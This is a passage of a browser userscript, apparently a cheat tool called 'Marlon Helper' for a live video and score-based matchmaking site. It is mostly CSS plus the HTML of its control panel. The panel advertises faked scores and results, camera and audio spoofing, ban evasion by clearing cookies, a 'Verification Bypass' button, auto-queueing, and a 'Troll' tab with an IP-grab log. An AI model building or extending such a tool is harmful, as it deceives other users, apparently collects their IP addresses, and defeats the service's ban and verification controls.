box-shadow: 0 0 8px rgba(var(--cm-primary-rgb),0.6), 0 1px 3px rgba(0,0,0,0.4);
}
.cm-toggle:hover .cm-toggle-thumb { transform: scale(1.08); }
/* ---- Sliders: themed fill + glowing thumb ---- */
.cm-slider-fill {
background: linear-gradient(90deg, var(--cm-secondary), var(--cm-primary)) !important;
opacity: 1 !important;
box-shadow: 0 0 8px rgba(var(--cm-primary-rgb),0.5);
}
.cm-slider::-webkit-slider-thumb {
background: #fff !important;
box-shadow: 0 0 0 3px rgba(var(--cm-primary-rgb),0.25), 0 2px 6px rgba(0,0,0,0.5) !important;
}
.cm-slider::-webkit-slider-thumb:hover {
box-shadow: 0 0 0 5px rgba(var(--cm-primary-rgb),0.35), 0 2px 10px rgba(0,0,0,0.6) !important;
}
.cm-slider-value {
background: rgba(var(--cm-primary-rgb),0.12) !important;
border-color: rgba(var(--cm-primary-rgb),0.3) !important;
color: var(--cm-text) !important;
}
/* ---- Segmented buttons: gradient active ---- */
.cm-btn-group { border-radius: 8px !important; }
.cm-btn-opt { border-radius: 6px !important; }
.cm-btn-opt.active {
background: linear-gradient(135deg, var(--cm-primary), var(--cm-secondary)) !important;
color: #fff !important;
box-shadow: 0 2px 10px rgba(var(--cm-primary-rgb),0.4) !important;
}
/* ---- Live / preview score: breathing animation ---- */
.cm-live-score, .cm-preview {
border: 1px solid rgba(var(--cm-primary-rgb),0.2) !important;
border-radius: 12px !important;
}
.cm-score-value, .cm-preview-score { animation: cmScorePulse 3s ease-in-out infinite; }
/* ---- File pickers ---- */
.cm-file-picker { border-radius: 8px !important; }
.cm-file-picker:hover {
border-color: var(--cm-primary) !important;
box-shadow: 0 0 0 2px rgba(var(--cm-primary-rgb),0.12);
}
/* ---- Theme swatches ---- */
.cm-theme-btn { border-radius: 8px !important; }
.cm-theme-btn:hover { transform: translateY(-2px) scale(1.03); }
.cm-theme-btn.active { box-shadow: 0 0 0 1px var(--cm-primary), 0 0 12px rgba(var(--cm-primary-rgb),0.35) !important; }
.cm-theme-preview { box-shadow: 0 2px 6px rgba(0,0,0,0.4); }
/* ---- Troll panel ---- */
#cm-ipgrab-log { background: transparent; border: none; font-family: 'JetBrains Mono', monospace; }
#cm-ipgrab-log::-webkit-scrollbar { width: 2px; }
#cm-ipgrab-log::-webkit-scrollbar-thumb { background: rgba(var(--cm-primary-rgb),0.2); border-radius: 2px; }
/* ---- Small / panic buttons ---- */
.cm-btn-small { border-radius: 6px !important; box-shadow: 0 2px 8px rgba(var(--cm-primary-rgb),0.3); }
.cm-btn-small:active { transform: scale(0.96); }
.cm-panic-btn { border-radius: 6px !important; transition: all 0.2s ease; }
.cm-panic-btn:hover { box-shadow: 0 0 14px rgba(239,68,68,0.5); }
/* ---- Inputs ---- */
.cm-input, .cm-select { border-radius: 8px !important; }
/* ---- Discord link shine ---- */
.cm-discord-link { position: relative; overflow: hidden; }
.cm-discord-link::after {
content: ''; position: absolute; inset: 0;
background: linear-gradient(115deg, transparent 40%, rgba(255,255,255,0.25) 50%, transparent 60%);
background-size: 250% 100%;
animation: cmSheen 4.5s ease-in-out infinite;
}
/* ---- Scrollbar ---- */
.cm-body::-webkit-scrollbar-thumb {
background: linear-gradient(var(--cm-secondary), var(--cm-primary)) !important;
border-radius: 3px !important;
}
/* ---- Hook status spinner when pending ---- */
#cm-zustand-val[data-pending="1"]::before {
content: '';
display: inline-block; width: 7px; height: 7px;
margin-right: 5px; vertical-align: middle;
border: 1.5px solid var(--cm-warning);
border-top-color: transparent; border-radius: 50%;
animation: cmSpin 0.8s linear infinite;
}
/* ============================================================
TOP-CENTER QUICK CONTROL BAR
============================================================ */
#cm-controlbar {
position: fixed;
top: 14px;
left: 50%;
transform: translateX(-50%) translateY(-4px);
z-index: 999999;
display: flex;
align-items: center;
gap: 6px;
padding: 7px 9px;
border-radius: 14px;
background: var(--cm-bg-dark);
backdrop-filter: blur(16px) saturate(140%);
-webkit-backdrop-filter: blur(16px) saturate(140%);
border: 1px solid rgba(var(--cm-primary-rgb),0.28);
box-shadow:
0 0 0 1px rgba(255,255,255,0.03),
0 0 26px rgba(var(--cm-primary-rgb),0.12),
0 12px 30px rgba(0,0,0,0.5);
font-family: 'Inter', -apple-system, sans-serif;
opacity: 0;
pointer-events: none;
cursor: grab;
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.34,1.56,0.64,1);
}
#cm-controlbar.cm-cb-show { opacity: 1; transform: translateX(-50%) translateY(0); pointer-events: auto; }
#cm-controlbar.cm-cb-hidden { display: none !important; }
#cm-controlbar.cm-cb-dragging { cursor: grabbing; transition: opacity 0.35s ease; }
#cm-controlbar::before {
display: none !important;
}
.cm-cb-item {
display: flex;
align-items: center;
gap: 6px;
padding: 5px 9px 5px 6px;
border-radius: 10px;
background: rgba(255,255,255,0.03);
border: 1px solid rgba(255,255,255,0.06);
cursor: pointer;
user-select: none;
transition: background 0.2s ease, border-color 0.2s ease, transform 0.12s ease, box-shadow 0.2s ease;
}
.cm-cb-item:hover { transform: translateY(-1px); background: rgba(255,255,255,0.06); }
.cm-cb-item:active { transform: translateY(0) scale(0.97); }
.cm-cb-key {
display: inline-flex;
align-items: center;
justify-content: center;
min-width: 22px;
height: 22px;
padding: 0 5px;
border-radius: 7px;
font-size: 11px;
font-weight: 800;
color: var(--cm-text);
background: linear-gradient(180deg, rgba(var(--cm-primary-rgb),0.18), rgba(var(--cm-primary-rgb),0.06));
border: 1px solid rgba(var(--cm-primary-rgb),0.4);
box-shadow: 0 1px 0 rgba(0,0,0,0.4), inset 0 1px 0 rgba(255,255,255,0.08);
text-shadow: 0 0 6px rgba(var(--cm-primary-rgb),0.4);
}
.cm-cb-label {
font-size: 11px;
font-weight: 600;
letter-spacing: 0.2px;
color: rgba(235,235,245,0.72);
white-space: nowrap;
}
.cm-cb-dot {
width: 7px; height: 7px; border-radius: 50%;
background: #4b4b55;
box-shadow: 0 0 0 2px rgba(255,255,255,0.04);
transition: background 0.25s ease, box-shadow 0.25s ease;
}
.cm-cb-item.cm-on { border-color: rgba(var(--cm-primary-rgb),0.55); background: rgba(var(--cm-primary-rgb),0.10); }
.cm-cb-item.cm-on .cm-cb-label { color: var(--cm-text); }
.cm-cb-item.cm-on .cm-cb-dot {
background: var(--cm-primary);
box-shadow: 0 0 8px rgba(var(--cm-primary-rgb),0.8), 0 0 0 2px rgba(var(--cm-primary-rgb),0.18);
}
.cm-cb-item.cm-flash { animation: cmCbFlash 0.45s ease; }
@keyframes cmCbFlash {
0% { box-shadow: 0 0 0 0 rgba(var(--cm-primary-rgb),0.55); }
40% { box-shadow: 0 0 0 5px rgba(var(--cm-primary-rgb),0.0); }
100% { box-shadow: 0 0 0 0 rgba(var(--cm-primary-rgb),0.0); }
}
.cm-cb-sep { width: 1px; height: 20px; background: rgba(255,255,255,0.08); margin: 0 1px; }
#cm-controlbar.stream-hidden { display: none !important; }
@media (prefers-reduced-motion: reduce) {
#cm-toggle-btn::before, #cm-toggle-btn::after,
.cm-header::after, .cm-discord-link::after, .cm-title,
#cm-root::before, .cm-logo-icon, .cm-pill.active,
.cm-score-value, .cm-preview-score,
#cm-controlbar::before, .cm-cb-item.cm-flash { animation: none !important; }
}
`;
document.head.appendChild(style);
applyTheme(CONFIG.theme || 'midnight');
const btn = document.createElement('button');
btn.id = 'cm-toggle-btn';
btn.innerHTML = `<video autoplay muted loop playsinline src="https://v16m.tiktokcdn-us.com/b23435e11c9f7f9419e0287e41c8b532/6a31e5b4/video/tos/no1a/tos-no1a-ve-0068-no/owoRDEgqQ1ogRHElIB0aMkFDQGoA3FfmkOAe6k/?a=1233&bti=OUBzOTg7QGo6OjZAL3AjLTAzYCMxNDNg&&bt=1664&ft=kLx3-yt4Z9o0PDFS3k3aQ9PweKA6JE.C~&mime_type=video_mp4&rc=ZmQ2ZjM0aGQ1ZzY4M2QzZ0BpMzluZGw5cjw5MzMzbzczNUBfNDReXi82XzUxY2EtNC5iYSNeZS9hMmQ0cWFhLS1kMTFzcw%3D%3D&vvpl=1&l=20260616180916969A7621F7670E143221&btag=e000b0000" style="width:40px;height:40px;border-radius:6px;object-fit:cover;"></video>`;
document.body.appendChild(btn);
// Top-center quick control bar
const controlBar = document.createElement('div');
controlBar.id = 'cm-controlbar';
controlBar.innerHTML = `
<div class="cm-cb-item" data-cb="master" title="Toggle Master Switch (M)">
<span class="cm-cb-key">M</span>
<span class="cm-cb-label">Master</span>
<span class="cm-cb-dot"></span>
</div>
<div class="cm-cb-sep"></div>
<div class="cm-cb-item" data-cb="camera" title="Toggle Camera Spoof (C)">
<span class="cm-cb-key">C</span>
<span class="cm-cb-label">Camera</span>
<span class="cm-cb-dot"></span>
</div>
<div class="cm-cb-sep"></div>
<div class="cm-cb-item" data-cb="audio" title="Toggle Audio Spoof (A)">
<span class="cm-cb-key">A</span>
<span class="cm-cb-label">Audio</span>
<span class="cm-cb-dot"></span>
</div>
<div class="cm-cb-sep"></div>
<div class="cm-cb-item" data-cb="crosshair" title="Toggle Custom Crosshair (X)">
<span class="cm-cb-key">X</span>
<span class="cm-cb-label">Crosshair</span>
<span class="cm-cb-dot"></span>
</div>
`;
document.body.appendChild(controlBar);
const _isMobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) || (navigator.maxTouchPoints > 0 && window.innerWidth < 1024);
if (!_isMobile) {
requestAnimationFrame(function() { controlBar.classList.add('cm-cb-show'); });
} else {
controlBar.style.display = 'none';
}
const root = document.createElement('div');
root.id = 'cm-root';
root.innerHTML = `
<div class="cm-header">
<div class="cm-title-row">
<div class="cm-logo">
<div class="cm-logo-icon">
<video autoplay muted loop playsinline src="https://v16m.tiktokcdn-us.com/b23435e11c9f7f9419e0287e41c8b532/6a31e5b4/video/tos/no1a/tos-no1a-ve-0068-no/owoRDEgqQ1ogRHElIB0aMkFDQGoA3FfmkOAe6k/?a=1233&bti=OUBzOTg7QGo6OjZAL3AjLTAzYCMxNDNg&&bt=1664&ft=kLx3-yt4Z9o0PDFS3k3aQ9PweKA6JE.C~&mime_type=video_mp4&rc=ZmQ2ZjM0aGQ1ZzY4M2QzZ0BpMzluZGw5cjw5MzMzbzczNUBfNDReXi82XzUxY2EtNC5iYSNeZS9hMmQ0cWFhLS1kMTFzcw%3D%3D&vvpl=1&l=20260616180916969A7621F7670E143221&btag=e000b0000" style="width:68px;height:68px;border-radius:10px;object-fit:cover;display:block;"></video>
</div>
<div>
<span class="cm-title">Marlon Helper</span>
<span class="cm-free-badge">FREE</span>
<span class="cm-version">v13.8.0</span>
</div>
</div>
<a href="https://discord.gg/U6sQEp83qq" target="_blank" class="cm-discord-link">
<svg viewBox="0 0 24 24"><path d="M20.317 4.37a19.791 19.791 0 0 0-4.885-1.515.074.074 0 0 0-.079.037c-.21.375-.444.864-.608 1.25a18.27 18.27 0 0 0-5.487 0 12.64 12.64 0 0 0-.617-1.25.077.077 0 0 0-.079-.037A19.736 19.736 0 0 0 3.677 4.37a.07.07 0 0 0-.032.027C.533 9.046-.32 13.58.099 18.057a.082.082 0 0 0 .031.057 19.9 19.9 0 0 0 5.993 3.03.078.078 0 0 0 .084-.028 14.09 14.09 0 0 0 1.226-1.994.076.076 0 0 0-.041-.106 13.107 13.107 0 0 1-1.872-.892.077.077 0 0 1-.008-.128 10.2 10.2 0 0 0 .372-.292.074.074 0 0 1 .077-.01c3.928 1.793 8.18 1.793 12.062 0a.074.074 0 0 1 .078.01c.12.098.246.198.373.292a.077.077 0 0 1-.006.127 12.299 12.299 0 0 1-1.873.892.077.077 0 0 0-.041.107c.36.698.772 1.362 1.225 1.993a.076.076 0 0 0 .084.028 19.839 19.839 0 0 0 6.002-3.03.077.077 0 0 0 .032-.054c.5-5.177-.838-9.674-3.549-13.66a.061.061 0 0 0-.031-.03zM8.02 15.33c-1.183 0-2.157-1.085-2.157-2.419 0-1.333.956-2.419 2.157-2.419 1.21 0 2.176 1.096 2.157 2.42 0 1.333-.956 2.418-2.157 2.418zm7.975 0c-1.183 0-2.157-1.085-2.157-2.419 0-1.333.955-2.419 2.157-2.419 1.21 0 2.176 1.096 2.157 2.42 0 1.333-.946 2.418-2.157 2.418z"/></svg>
Join Discord
</a>
</div>
<div style="display:flex;align-items:center;justify-content:space-between;margin-bottom:12px;">
<div class="cm-status-row">
<span class="cm-pill active" id="cm-status-pill">ON</span>
<span class="cm-pill mode" id="cm-mode-pill">NORMAL</span>
</div>
</div>
<div class="cm-tabs">
<button class="cm-tab active" data-tab="home">Home</button>
<button class="cm-tab" data-tab="score">Score</button>
<button class="cm-tab" data-tab="automation">Auto</button>
<button class="cm-tab cm-tab-locked" data-tab="camera">Camera</button>
<button class="cm-tab" data-tab="settings">Settings</button>
<button class="cm-tab cm-tab-locked" data-tab="troll">Troll</button>
<button class="cm-tab cm-tab-locked" data-tab="crosshair">Crosshair</button>
<button class="cm-tab" data-tab="credits">Credits</button>
</div>
</div>
<div class="cm-body">
<!-- HOME PANEL -->
<div class="cm-panel active" data-panel="home">
<div class="cm-section" id="cm-waifu-section" style="display:none;">
<div style="margin-bottom:8px;border-radius:10px;border:2px solid var(--cm-primary);overflow:hidden;height:450px;box-shadow:0 0 20px rgba(var(--cm-primary-rgb),0.3);">
<img id="cm-waifu-img" src="https://cdn.frostedbrowser.cfd/cheatmoggle-assets/cheatmogglewaifu.png" style="width:100%;height:100%;object-fit:cover;object-position:center 30%;display:block;">
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">System Status</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Master Switch</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-enable-toggle" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Power Status</span>
<span class="cm-value" id="cm-enabled-val" style="color: var(--cm-success)">ACTIVE</span>
</div>
<div class="cm-row">
<span class="cm-label">Match Type</span>
<span class="cm-value" id="cm-mode-val">NORMAL</span>
</div>
<div class="cm-row">
<span class="cm-label">Hook Status</span>
<span class="cm-value" id="cm-zustand-val" data-pending="1" style="color: var(--cm-warning)">PENDING</span>
</div>
<div class="cm-row" style="border-bottom:none;padding-top:6px;display:flex;gap:6px;">
<button class="cm-panic-btn" id="cm-clearcookies-btn" style="margin:0;flex:1;">Unban / Clear Cookies</button>
<button class="cm-panic-btn" id="cm-verifbypass-btn" style="margin:0;flex:1;background:var(--cm-accent);color:#fff;">Verification Bypass</button>
</div>
</div>
</div>
</div>
<!-- SCORE PANEL -->
<div class="cm-panel" data-panel="score">
<div class="cm-section">
<div class="cm-section-title">
<span>Score Control</span>
<label class="cm-toggle cm-section-toggle">
<input type="checkbox" id="cm-score-enabled" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-card" id="cm-score-content">
<div class="cm-row">
<span class="cm-label">Mode</span>
<div class="cm-btn-group">
<button class="cm-btn-opt active" data-smode="range">Range</button>
<button class="cm-btn-opt" data-smode="fixed">Fixed</button>
</div>
</div>
<div id="cm-score-fixed" style="display:none;">
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Score</span>
<input type="number" class="cm-input cm-score-input" id="cm-fixed-score" step="0.1" value="9.4" style="width:70px;text-align:center;">
</div>
</div>
</div>
<div id="cm-score-range">
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Min</span>
<input type="number" class="cm-input cm-score-input" id="cm-score-min" step="0.1" value="8.5" style="width:70px;text-align:center;">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Max</span>
<input type="number" class="cm-input cm-score-input" id="cm-score-max" step="0.1" value="9.5" style="width:70px;text-align:center;">
</div>
</div>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">
<span>Result Settings</span>
<label class="cm-toggle cm-section-toggle">
<input type="checkbox" id="cm-result-enabled" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-card" id="cm-result-content">
<div class="cm-row">
<span class="cm-label">Type</span>
<div class="cm-btn-group">
<button class="cm-btn-opt active" data-fmode="fixed">Static</button>
<button class="cm-btn-opt" data-fmode="range">Dynamic</button>
</div>
</div>
<div id="cm-final-fixed">
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Target</span>
<input type="number" class="cm-input cm-score-input" id="cm-final-score" step="0.1" value="9.4" style="width:70px;text-align:center;">
</div>
</div>
</div>
<div id="cm-final-range" style="display:none;">
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Lower Bound</span>
<input type="number" class="cm-input cm-score-input" id="cm-final-range-min" step="0.1" value="8.5" style="width:70px;text-align:center;">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Upper Bound</span>
<input type="number" class="cm-input cm-score-input" id="cm-final-range-max" step="0.1" value="9.7" style="width:70px;text-align:center;">
</div>
</div>
</div>
</div>
<div class="cm-preview">
<div class="cm-preview-score" id="cm-score-preview-num" style="color:#f472b6">9.6</div>
<div class="cm-preview-tier" id="cm-score-preview-tier" style="color:#f472b6;display:none;">Slayer</div>
</div>
</div>
</div>
<!-- AUTOMATION PANEL -->
<div class="cm-panel" data-panel="automation">
<div class="cm-section">
<div class="cm-section-title">Matchmaking</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Auto Queue</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-autoqueuetoggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Request Delay (ms)</span>
<input type="number" class="cm-input" id="cm-queue-delay" min="100" max="60000" step="100" value="1000" style="width:80px;text-align:center;">
</div>
<div class="cm-row" style="border-bottom:none;">
<span class="cm-label">Auto Find New Match</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-autofindnew-toggle" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Spoof Cycling</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Auto Cycle Camera</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-autocam-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Camera Interval (s)</span>
<input type="number" class="cm-input" id="cm-autocam-interval" min="1" max="600" step="1" value="5" style="width:80px;text-align:center;">
</div>
<div class="cm-row">
<span class="cm-label">Auto Cycle Audio</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-autoaudio-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row" style="border-bottom:none;">
<span class="cm-label">Audio Interval (s)</span>
<input type="number" class="cm-input" id="cm-autoaudio-interval" min="1" max="600" step="1" value="5" style="width:80px;text-align:center;">
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Convenience</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Auto Dismiss Popups</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-autodismiss-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row" style="border-bottom:none;">
<span class="cm-label">Auto Clear Cookies on Ban</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-autounban-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
</div>
</div>
</div>
<!-- CAMERA PANEL -->
<div class="cm-panel" data-panel="camera">
<div class="cm-section">
<div class="cm-section-title">Virtual Camera</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Activate Spoof</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-camspoof-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Flip Horizontal</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-cammirror-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Loop Video</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-camloop-toggle" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Playback Speed</span>
<span class="cm-slider-value" id="cm-camspeed-val">1.0x</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-camspeed-fill" style="width:25%"></div>
<input type="range" class="cm-slider" id="cm-camspeed" min="0.25" max="4.0" step="0.25" value="1.0">
</div>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Source</div>
<div class="cm-card">
<div class="cm-btn-group" style="margin-bottom:6px;">
<button class="cm-btn-opt" data-src="video">Video</button>
<button class="cm-btn-opt" data-src="image">Image</button>
</div>
<div class="cm-file-picker" id="cm-video-picker" style="display:none;">
<div class="cm-file-icon">
<svg viewBox="0 0 24 24"><path d="M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8l-6-6zm-1 7V3.5L18.5 9H13z"/></svg>
</div>
<span class="cm-file-name" id="cm-video-name">Select video file...</span>
</div>
<div class="cm-file-picker" id="cm-image-picker" style="display:none;">
<div class="cm-file-icon">
<svg viewBox="0 0 24 24"><path d="M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5l3.5-4.5z"/></svg>
</div>
<span class="cm-file-name" id="cm-image-name">Select image file...</span>
</div>
</div>
</div>
<div class="cm-section">
<div class="cm-section-title">Text Overlay</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Enable Text</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-camtext-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-row">
<span class="cm-label">Content</span>
<input type="text" class="cm-input" id="cm-camtext-content" value="Your Text Here" style="width:100px;">
</div>
<div class="cm-row">
<span class="cm-label">Color</span>
<input type="color" class="cm-color-input" id="cm-camtext-color" value="#ffffff">
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Size</span>
<span class="cm-slider-value" id="cm-camtext-size-val">24px</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-camtext-size-fill" style="width:50%"></div>
<input type="range" class="cm-slider" id="cm-camtext-size" min="8" max="72" step="1" value="24">
</div>
</div>
</div>
</div>
<!-- CAMERA OVERLAY -->
<div class="cm-section">
<div class="cm-section-title">Camera Overlay</div>
<div class="cm-card">
<div id="cm-premium-tab-bar" style="display:flex;gap:4px;margin-bottom:6px;flex-wrap:wrap;align-items:center;">
<div id="cm-premium-tab-scroll" style="display:flex;gap:4px;flex:1;overflow-x:auto;"></div>
<button id="cm-premium-tab-add" style="background:var(--cm-bg-elevated);border:1px dashed var(--cm-border);color:var(--cm-text-muted);border-radius:6px;padding:4px 10px;cursor:pointer;font-size:11px;font-weight:700;flex-shrink:0;">+ Add</button>
</div>
<div class="cm-row" style="margin-bottom:4px;">
<span class="cm-label">Active</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-premium-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-btn-group" style="margin-bottom:6px;">
<button class="cm-btn-opt active" data-premium-src="image">Image</button>
<button class="cm-btn-opt" data-premium-src="video">Video</button>
<button class="cm-btn-opt" data-premium-src="text">Text</button>
</div>
<div class="cm-file-picker" id="cm-premium-img-picker">
<div class="cm-file-icon">
<svg viewBox="0 0 24 24"><path d="M21 19V5c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2zM8.5 13.5l2.5 3.01L14.5 12l4.5 6H5l3.5-4.5z"/></svg>
</div>
<span class="cm-file-name" id="cm-premium-img-name">Select image...</span>
</div>
<div class="cm-file-picker" id="cm-premium-vid-picker" style="display:none">
<div class="cm-file-icon">
<svg viewBox="0 0 24 24"><path d="M14 2H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V8l-6-6zm-1 7V3.5L18.5 9H13z"/></svg>
</div>
<span class="cm-file-name" id="cm-premium-vid-name">Select video...</span>
</div>
<div id="cm-premium-text-controls" style="display:none;">
<div class="cm-row">
<span class="cm-label">Content</span>
<input type="text" class="cm-input" id="cm-premium-text-content" value="Your Text Here" style="width:100px;">
</div>
<div class="cm-row">
<span class="cm-label">Color</span>
<input type="color" class="cm-color-input" id="cm-premium-text-color" value="#ffffff">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Overlay Size</span>
<span class="cm-slider-value" id="cm-premium-size-val">30%</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-premium-size-fill" style="width:30%"></div>
<input type="range" class="cm-slider" id="cm-premium-size" min="5" max="100" step="1" value="30">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Opacity</span>
<span class="cm-slider-value" id="cm-premium-opacity-val">100%</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-premium-opacity-fill" style="width:100%"></div>
<input type="range" class="cm-slider" id="cm-premium-opacity" min="10" max="100" step="5" value="100">
</div>
</div>
<div style="margin-top:8px;border-radius:8px;overflow:hidden;background:#111;position:relative;width:100%;aspect-ratio:4/3;cursor:move;" id="cm-premium-preview">
<div id="cm-premium-overlay-el" style="position:absolute;border:2px solid rgba(0,200,255,0.6);background:rgba(0,200,255,0.1);border-radius:4px;cursor:move;display:flex;align-items:center;justify-content:center;font-size:11px;color:rgba(0,200,255,0.5);overflow:hidden;pointer-events:auto;">
<span style="pointer-events:none;">Overlay</span>
<div id="cm-premium-resize" style="position:absolute;bottom:-4px;right:-4px;width:10px;height:10px;background:#00c8ff;border-radius:2px;cursor:nwse-resize;pointer-events:auto;"></div>
</div>
</div>
<div style="display:flex;gap:6px;margin-top:4px;font-size:10px;color:var(--cm-text-muted);">
<span>Position: <span id="cm-premium-pos">160, 120</span></span>
<span>Size: <span id="cm-premium-dim">192x144</span></span>
</div>
</div>
</div>
<!-- Audio spoof section -->
<div class="cm-section">
<div class="cm-section-title">Audio Spoof</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Activate Audio Spoof</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-audiospoof-toggle">
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-file-picker" id="cm-audio-picker">
<div class="cm-file-icon">
<svg viewBox="0 0 24 24"><path d="M12 3v10.55c-.59-.34-1.27-.55-2-.55-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4V7h4V3h-6z"/></svg>
</div>
<span class="cm-file-name" id="cm-audio-name">Select audio file...</span>
</div>
<div class="cm-row">
<span class="cm-label">Loop</span>
<label class="cm-toggle">
<input type="checkbox" id="cm-audioloop-toggle" checked>
<div class="cm-toggle-track"></div>
<div class="cm-toggle-thumb"></div>
</label>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Speed</span>
<span class="cm-slider-value" id="cm-audiospeed-val">1.0x</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-audiospeed-fill" style="width:25%"></div>
<input type="range" class="cm-slider" id="cm-audiospeed" min="0.25" max="3.0" step="0.05" value="1.0">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Volume</span>
<span class="cm-slider-value" id="cm-audiovolume-val">100%</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-audiovolume-fill" style="width:100%"></div>
<input type="range" class="cm-slider" id="cm-audiovolume" min="0" max="100" step="1" value="100">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Bass (dB)</span>
<span class="cm-slider-value" id="cm-audiobass-val">0 dB</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-audiobass-fill" style="width:50%"></div>
<input type="range" class="cm-slider" id="cm-audiobass" min="-12" max="12" step="1" value="0">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Treble (dB)</span>
<span class="cm-slider-value" id="cm-audiotreble-val">0 dB</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-audiotreble-fill" style="width:50%"></div>
<input type="range" class="cm-slider" id="cm-audiotreble" min="-12" max="12" step="1" value="0">
</div>
</div>
<div class="cm-slider-row">
<div class="cm-slider-header">
<span class="cm-slider-label">Warmth (dB)</span>
<span class="cm-slider-value" id="cm-audiowarmth-val">0 dB</span>
</div>
<div class="cm-slider-track">
<div class="cm-slider-fill" id="cm-audiowarmth-fill" style="width:50%"></div>
<input type="range" class="cm-slider" id="cm-audiowarmth" min="-12" max="12" step="1" value="0">
</div>
</div>
<div class="cm-row">
<span class="cm-label">Status</span>
<span class="cm-value" id="cm-audio-status">Inactive</span>
</div>
</div>
</div>
</div>
<!-- SETTINGS PANEL -->
<div class="cm-panel" data-panel="settings">
<div class="cm-section">
<div class="cm-section-title">Developer</div>
<div class="cm-card">
<div class="cm-row">
<span class="cm-label">Console Logs</span>
<label class="cm-toggle">
